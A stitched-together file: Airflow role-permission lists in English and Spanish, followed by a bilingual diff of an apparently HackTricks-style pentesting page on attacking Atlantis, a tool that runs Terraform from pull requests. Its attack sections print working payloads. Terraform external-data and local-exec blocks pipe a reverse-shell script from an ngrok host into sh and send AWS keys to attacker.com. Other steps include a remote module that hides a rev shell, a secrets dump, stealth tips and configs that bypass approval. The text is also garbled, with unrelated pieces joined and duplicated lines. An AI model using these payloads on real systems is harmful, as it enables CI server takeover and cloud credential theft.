\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs]
- **User**
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
\[puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea]
- **Viewer**
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
\[puede leer en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,111 +2,111 @@
{{#include ../banners/hacktricks-training.md}}
### Basic Information
### Información Básica
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git.
![](<../images/image (161).png>)
### Local Lab
### Laboratorio Local
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que más te convenga.
2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**.
3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**.
1. Puedes acceder a la página web en 127.0.0.1:4141.
### Atlantis Access
### Acceso a Atlantis
#### Git Server Credentials
#### Credenciales del Servidor Git
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
**Atlantis** soporta varios hosts git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\
[**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales.
> [!WARNING]
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
> En cualquier caso, desde la perspectiva de un atacante, la **cuenta de Atlantis** va a ser muy **interesante** **de comprometer**.
#### Webhooks
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Atlantis utiliza opcionalmente [**secretos de Webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) para validar que los **webhooks** que recibe de tu host Git son **legítimos**.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
Una forma de confirmar esto sería **permitir que las solicitudes solo provengan de las IPs** de tu host Git, pero una forma más fácil es usar un Secreto de Webhook.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, necesitarás exponer los endpoints de webhook a Internet.
> [!WARNING]
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
> Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
#### Credenciales del Proveedor <a href="#provider-credentials" id="provider-credentials"></a>
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
[De los docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Atlantis ejecuta Terraform simplemente **ejecutando los comandos `terraform plan` y `apply`** en el servidor **donde está alojado Atlantis**. Al igual que cuando ejecutas Terraform localmente, Atlantis necesita credenciales para tu proveedor específico.
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) para tu proveedor específico a Atlantis:
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
- El [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) de Atlantis y el [Módulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) tienen sus propios mecanismos para credenciales de proveedor. Lee sus docs.
- Si estás ejecutando Atlantis en la nube, muchas nubes tienen formas de dar acceso a la API de la nube a aplicaciones que se ejecutan en ellas, por ejemplo:
- [Roles de AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Busca "EC2 Role")
- [Cuentas de Servicio de Instancia de GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Muchos usuarios establecen variables de entorno, por ejemplo, `AWS_ACCESS_KEY`, donde se está ejecutando Atlantis.
- Otros crean los archivos de configuración necesarios, por ejemplo, `~/.aws/credentials`, donde se está ejecutando Atlantis.
- Usa el [Proveedor HashiCorp Vault](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) para obtener credenciales de proveedor.
> [!WARNING]
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
> El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform.
#### Web Page
#### Página Web
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**).
### Server Configuration
### Configuración del Servidor
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres.
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
- Puedes encontrar [**aquí la lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) soportados por el servidor de Atlantis.
- Puedes encontrar [**aquí cómo transformar una opción de configuración en una variable de entorno**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
Values are **chosen in this order**:
Los valores se **eligen en este orden**:
1. Flags
2. Environment Variables
3. Config File
2. Variables de Entorno
3. Archivo de Configuración
> [!WARNING]
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
> Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**.
#### Repos Configuration
#### Configuración de Repos
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan.
1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`.
2. [**Configuración del Lado del Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
3. Valores **predeterminados**.
**PR Protections**
**Protecciones de PR**
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de la rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**.
**Scripts**
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
La configuración del repo puede **especificar scripts** para ejecutar [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pre flujo de trabajo_) y [**después**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de post flujo de trabajo_) de que se ejecute un **flujo de trabajo**.
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
No hay ninguna opción para permitir **especificar** estos scripts en el **archivo `/atlantis.yml`** del repo.
**Workflow**
**Flujo de Trabajo**
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
En la configuración del repo (configuración del lado del servidor) puedes [**especificar un nuevo flujo de trabajo predeterminado**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**crear nuevos flujos de trabajo personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** También puedes **especificar** qué **repos** pueden **acceder** a los **nuevos** generados.\
Luego, puedes permitir que el archivo **atlantis.yaml** de cada repo **especifique el flujo de trabajo a usar**.
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> Si el flag de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurado en **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repo. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.\
> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repo**.
>
> ```yaml
> # atlantis.yaml
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
> steps: - run: my custom apply command
> ```
**Conftest Policy Checking**
**Verificación de Políticas de Conftest**
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
Atlantis soporta ejecutar **políticas de conftest** [**del lado del servidor**](https://www.conftest.dev/) contra la salida del plan. Los casos de uso comunes para usar este paso incluyen:
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
- Negar el uso de una lista de módulos.
- Afirmar atributos de un recurso en el momento de la creación.
- Capturar eliminaciones no intencionadas de recursos.
- Prevenir riesgos de seguridad (es decir, exponer puertos seguros al público).
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
Puedes consultar cómo configurarlo en [**los docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
### Comandos de Atlantis
[**En los docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puedes encontrar las opciones que puedes usar para ejecutar Atlantis:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Attacks
### Ataques
> [!WARNING]
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
> Si durante la explotación encuentras este **error**: `Error: Error acquiring the state lock`
Puedes solucionarlo ejecutando:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Modificación de configuración en nueva PR
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis plan`** (o tal vez se ejecute automáticamente) **podrás RCE dentro del servidor de Atlantis**.
Puedes hacer esto haciendo que [**Atlantis cargue una fuente de datos externa**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Simplemente coloca un payload como el siguiente en el archivo `main.tf`:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Ataque más sigiloso**
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias:
- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **En lugar** de crear un **PR a master** para activar Atlantis, **crea 2 ramas** (test1 y test2) y crea un **PR de una a la otra**. Cuando hayas completado el ataque, simplemente **elimina el PR y las ramas**.
#### Atlantis plan Secrets Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
Puedes **volcar secretos utilizados por terraform** ejecutando `atlantis plan` (`terraform plan`) poniendo algo como esto en el archivo de terraform:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis aplicar RCE - Modificación de configuración en nueva PR
#### Atlantis apply RCE - Config modification in new PR
Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes **ejecutar `atlantis apply`, podrás RCE dentro del servidor de Atlantis**.
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
Sin embargo, generalmente necesitarás eludir algunas protecciones:
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
- **Mergeable**: Si esta protección está configurada en Atlantis, solo podrás ejecutar **`atlantis apply` si la PR es mergeable** (lo que significa que la protección de rama debe ser eludida).
- Verifica posibles [**elusiones de protecciones de rama**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Aprobado**: Si esta protección está configurada en Atlantis, **otro usuario debe aprobar la PR** antes de que puedas ejecutar `atlantis apply`
- Por defecto, puedes abusar del [**token de Gitbot para eludir esta protección**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Ejecutando **`terraform apply` en un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa**.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
#### Terraform Param Injection
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
#### Inyección de Parámetros de Terraform
Al ejecutar `atlantis plan` o `atlantis apply`, terraform se está ejecutando por debajo, puedes pasar comandos a terraform desde atlantis comentando algo como:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Revisa las variables de entorno de terraform en [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Flujo de trabajo personalizado
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
Ejecutando **comandos de construcción personalizados maliciosos** especificados en un archivo `atlantis.yaml`. Atlantis utiliza el archivo `atlantis.yaml` de la rama de la solicitud de extracción, **no** de `master`.\
Esta posibilidad se mencionó en una sección anterior:
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
> Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` está configurada como **True**, los flujos de trabajo pueden ser **especificados** en el archivo **`atlantis.yaml`** de cada repositorio. También es potencialmente necesario que **`allowed_overrides`** especifique también **`workflow`** para **sobrescribir el flujo de trabajo** que se va a utilizar.
>
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> Esto básicamente dará **RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio**.
>
> ```yaml
> # atlantis.yaml
@@ -286,106 +272,101 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
#### Eludir protecciones de plan/aplicar
Si la bandera de [**configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiene_ `apply_requirements` configurado, es posible que un repositorio **modifique las protecciones de plan/aplicar para eludirlas**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### Secuestro de PR
#### PR Hijacking
Si alguien envía **`atlantis plan/apply` comentarios en tus pull requests válidos,** hará que terraform se ejecute cuando no lo desees.
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
Además, si no tienes configurado en la **protección de ramas** que se pida **reevaluar** cada PR cuando se **empuja un nuevo commit** a él, alguien podría **escribir configuraciones maliciosas** (ver escenarios anteriores) en la configuración de terraform, ejecutar `atlantis plan/apply` y obtener RCE.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
This is the **setting** in Github branch protections:
Esta es la **configuración** en las protecciones de ramas de Github:
![](<../images/image (216).png>)
#### Webhook Secret
#### Secreto del Webhook
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
Si logras **robar el secreto del webhook** utilizado o si **no hay ningún secreto de webhook** en uso, podrías **llamar al webhook de Atlantis** e **invocar comandos de atlantis** directamente.
#### Bitbucket
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
Bitbucket Cloud **no soporta secretos de webhook**. Esto podría permitir a los atacantes **suplantar solicitudes de Bitbucket**. Asegúrate de permitir solo IPs de Bitbucket.
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
- Esto significa que un **atacante** podría hacer **solicitudes falsas a Atlantis** que parecen provenir de Bitbucket.
